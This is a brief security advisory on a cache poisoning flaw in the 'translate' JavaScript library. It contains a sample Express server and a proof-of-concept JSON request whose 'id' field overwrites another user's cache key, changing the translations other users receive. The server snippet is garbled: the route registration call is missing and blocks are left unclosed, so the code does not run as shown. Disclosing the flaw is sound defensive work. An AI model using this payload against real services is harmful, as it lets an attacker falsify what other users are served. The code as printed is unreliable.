Cache Poisoning Vulnerability


An attacker controlling the second variable of the translate function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.


The parameter allows the overwriting of the cache key. If an attacker sets the id variable to the cache key that would be generated by another user, they can choose the response that user gets served.


Take the following simple server allowing users to supply text and the language to translate to.

import translate from "translate";
import express from 'express';

const app = express();
app.use(express.json());'/translate', async (req, res) => {
  const { text, language } = req.body;
  const result = await translate(text, language);
  return res.json(result);

const port = 3000;
app.listen(port, () => {
  console.log(`Server is running on port ${port}`);

We can send the following request to poison the cache:

{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}

Poisoning the cache

Now, any user that attempts to translate "I love you" to Dutch, will get "I hate you" in Dutch as the response.
The victim gets our poisoned data


An attacker can control the results other users may get
